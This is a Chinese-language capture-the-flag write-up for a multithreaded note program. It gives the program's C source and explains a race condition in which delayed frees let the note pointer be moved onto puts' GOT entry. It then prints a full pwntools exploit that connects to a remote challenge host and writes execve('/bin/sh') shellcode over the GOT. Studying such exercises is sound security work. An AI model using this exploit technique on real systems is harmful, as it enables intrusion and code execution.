64位程序,没有开启NX #条件竞争
程序逻辑
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 #include <pthread.h> 5 #include <time.h> 6 #include <string.h> 7 8 char *notes[36]; 9 int count = 0; 10 char **note_to_write = notes; 11 void *malloc_func(void *arg) 12 { 13 note_to_write ++; 14 int tmp = count; 15 char *to_copy = (char *)arg; 16 tmp += 1; 17 //usleep(100000); 18 count = tmp; 19 if(count > 34) 20 { 21 printf("too many notes!!\n"); 22 note_to_write --; 23 return 0; 24 } 25 else 26 { 27 printf("logged successfully!\n"); 28 *note_to_write = malloc(256 * sizeof(char)); 29 memset(*note_to_write, 0, 256); 30 memcpy(*note_to_write, to_copy, 250); 31 return 0; 32 } 33 } 34 void *delete_func(void *arg) 35 { 36 char **note_to_delete = note_to_write; 37 note_to_write --; 38 int tmp = count; 39 tmp -= 1; 40 usleep(2000000); 41 if(count > 0) 42 { 43 free(*note_to_delete); 44 count = tmp; 45 printf("delete successfully!\n"); 46 } 47 else 48 { 49 printf("too less notes!!\n"); 50 note_to_write ++; 51 return 0; 52 } 53 return 0; 54 } 55 56 int make_note() 57 { 58 int cnt = 250; 59 char inputs[256]; 60 char *ptr = inputs; 61 memset(inputs, 0, 256); 62 printf("input your note, no more than 250 characters\n"); 63 while(cnt) 64 { 65 char tmp; 66 tmp = getchar(); 67 if(tmp != '\n' && tmp!= '\x00' && tmp != '\x90' && tmp ) 68 { 69 *ptr = tmp; 70 *ptr ++; 71 } 72 else 73 { 74 ptr = NULL; 75 break; 76 } 77 cnt --; 78 } 79 pthread_t thread_tmp; 80 pthread_create(&thread_tmp, NULL, malloc_func, (void*)inputs ); 81 return 0; 82 } 83 int get_total() 84 { 85 printf("the total of notes is %ld\n",count); 86 //printf("real : %ld\n",note_to_write - notes); 87 } 88 int delete_note() 89 { 90 printf("the last one will be deleted!\n"); 91 pthread_t thread_tmp; 92 pthread_create(&thread_tmp, NULL, delete_func, NULL); 93 return 0; 94 } 95 96 int welcome() 97 { 98 char choice = '3'; 99 printf("welcome to flappypig's note system!\n"); 100 printf("enter 0 to make a new note\n"); 101 printf("enter 1 to get the total of notes\n"); 102 printf("enter 2 to delete a note\n"); 103 printf("enter 3 to exit\n"); 104 printf("choice:\n"); 105 while(1) 106 { 107 while(1) 108 { 109 char tmp = getchar(); 110 if(tmp == '\n') 111 { 112 break; 113 } 114 else if(tmp == EOF) 115 { 116 return 0; 117 } 118 else 119 { 120 choice = tmp; 121 } 122 } 123 switch (choice) 124 { 125 case '0': 126 make_note(); 127 break; 128 case '1': 129 get_total(); 130 break; 131 case '2': 132 delete_note(); 133 break; 134 case '3': 135 return 0; 136 break; 137 default : 138 printf("please enter the right choice!\n"); 139 break; 140 } 141 printf("choice:\n"); 142 } 143 } 144 145 int main() 146 { 147 memset(¬es,0,36 * sizeof(char *)); 148 welcome(); 149 return 0;
多线程程序,delete_func函数中free之前会usleep(20000) ,会造成条件竞争
利用思路
这里两个线程会出现竞争,在delete线程还在sleep时,如果进行malloc,则会导致malloc后的heap地址写到了note_to_write变量所指向的地址空间,利用这一特征,我们可以将heap地址写到bss段中notes指针表向上的任意地址(只要在sleep时间内创造足够多的delete线程)。因此,我们就可以将got表中的函数地址进行覆盖
ida中查看,puts_got在notes-19*8处,所以我们只要先delete_note20次,让note_to_write-- 20次,指向puts_got-8处,然后malloc_note,note_to_write++便指向了puts_got,之后便可以输入shellcode覆盖got表了。
exploit
1 from pwn import * 2 sh=remote('111.198.29.45',43174) 3 elf=ELF('./note_sys') 4 context.arch='amd64' 5 context.os='linux' 6 context.endian='little' 7 context.word_size=64 8 i=20 9 while(i>0): 10 i-=1 11 sh.recvuntil('choice:\n') 12 sh.sendline('2') 13 14 sh.recvuntil('choice:\n') 15 payload=asm(shellcraft.amd64.linux.execve("/bin/sh")) 16 print payload 17 sh.sendline('0') 18 sh.recvuntil('input your note, no more than 250 characters\n') 19 sh.sendline(payload) 20 sh.interactive()